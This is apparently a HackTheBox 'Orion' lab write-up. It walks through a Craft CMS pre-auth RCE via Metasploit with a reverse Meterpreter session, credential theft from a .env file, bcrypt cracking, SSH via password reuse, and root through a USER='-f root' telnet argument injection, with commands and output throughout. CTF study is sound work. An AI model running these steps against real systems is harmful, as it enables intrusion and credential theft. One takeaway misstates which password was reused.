Post cover image

November 1, 2026

HackTheBox Orion Writeup

Orion — Lab Summary (with commands)

By Mohamed Ramadan

2 min read

Orion — Lab Summary (with commands)

Goal: Exploit an unauthenticated RCE vulnerability in Craft CMS, extract database credentials to crack the admin password, then abuse a locally-bound Telnet service to escalate to root.

Steps & Commands

1. Scan the target

sudo nmap -sV <target-ip>

→ 2 open TCP ports:

22/tcp open  ssh    OpenSSH 8.9p1
80/tcp open  http   nginx 1.18.0

2. Resolve the hostname

Visiting the IP redirects to orion.htb, so add it locally:

sudo nano /etc/hosts
<target-ip>  orion.htb

3. Enumerate directories

gobuster dir -u http://orion.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://orion.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.git/HEAD            (Status: 403) [Size: 162]
.hta                 (Status: 403) [Size: 162]
.htaccess            (Status: 403) [Size: 162]
.htpasswd            (Status: 403) [Size: 162]
admin                (Status: 302) [Size: 0] [--> http://orion.htb/admin/login]
assets               (Status: 301) [Size: 178] [--> http://orion.htb/assets/]
index                (Status: 200) [Size: 12272]
index.html           (Status: 200) [Size: 9689]
index.php            (Status: 200) [Size: 12272]
logout               (Status: 302) [Size: 0] [--> http://orion.htb/]
wp-admin             (Status: 418) [Size: 54217]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

Found:

/admin  → redirects to /admin/login

The login page reveals: Craft CMS 5.6.16

4. Search for a known exploit in Metasploit

msf > search CraftCMS

Found:

exploit/linux/http/craftcms_preauth_rce_cve_2025_32432

→ Craft CMS Image Transform Preauth RCE (CVE-2025–32432)

5. Configure and run the exploit

msf > use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
msf > set RHOSTS <target-ip>
msf > set LHOST <your-tun0-ip>
msf > set VHOST orion.htb
msf > run

VHOST was required since the app is served through a virtual host — without it, the exploit failed to detect exploitability.

6. Get a shell from the Meterpreter session

meterpreter > shell
script /dev/null -c /bin/bash
whoami

Output:

www-data

7. Locate and read the CMS environment file

cd ~/html/craft
ls -la
cat .env

Revealed:

CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

8. Log into the MySQL/MariaDB database

mysql -u root -p orion
SHOW DATABASES;
SELECT * FROM users;

Found the admin's bcrypt password hash:

$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS

9. Crack the hash with Hashcat

hashcat -m 3200 hash.txt ~/wordlists/rockyou.txt -w 1

$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/...LUg0lS
Time.Started.....: Thu Sep 24 06:13:01 2026 (5 mins, 4 secs)
Time.Estimated...: Thu Sep 24 06:18:05 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (/home/kali/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:        3 H/s (16.02ms) @ Accel:4 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 656/14344384 (0.00%)
Rejected.........: 0/656 (0.00%)
Restore.Point....: 640/14344384 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:8160-8192
Candidate.Engine.: Device Generator
Candidates.#01...: sunshine1 -> sweetpea
Hardware.Mon.#01.: Util: 80%

Started: Thu Sep 24 06:12:04 2026
Stopped: Thu Sep 24 06:18:07 2026m 3200 = bcrypt (Blowfish/Unix) hash mode.

Cracked result:

darkangel

10. SSH in as the real user (Adam) using the cracked password

ssh adam@orion.htb

(Password reuse: the CMS admin's password worked for the Linux user adam.)

11. Read the user flag

cat user.txt
flag****************************

12. Enumerate local services for privilege escalation

netstat -tulnp

Found:

127.0.0.1:23   LISTEN   (Telnet — bound to localhost only)

13. Check the Telnet client version

telnet --version

Output:

telnet (GNU inetutils) 2.7

14. Abuse a Telnet client feature to escalate to root

USER='-f root' telnet -a 127.0.0.1

This exploits a known quirk in GNU inetutils' telnet -a (auto-login), where the USER environment variable is passed unsafely to the remote login process — allowing you to request login as root via the -f flag injection, without a password.

15. Confirm root access and read the flag

whoami
root
cat /root/root.txt

Output:

flag****************************

Key Takeaways

  1. Unauthenticated RCE in a real CVE (CVE-2025–32432) shows how outdated CMS software can lead directly to full remote code execution — always patch promptly.
  2. Sensitive credentials in .env files should never grant unnecessary access; here the DB root password was reused for a Linux system user, breaking the isolation between services.
  3. Locally-bound services (like Telnet on 127.0.0.1) are often assumed "safe" since they're not internet-facing, but they can still be abused for lateral movement or privilege escalation once you have local access.
  4. Environment variable injection (USER='-f root') is a subtle but powerful technique — legacy tools like telnet -a trusting unsanitized environment variables can lead directly to root.

Connect with me on LinkedIn: www.linkedin.com/in/mohamedramadan-mh7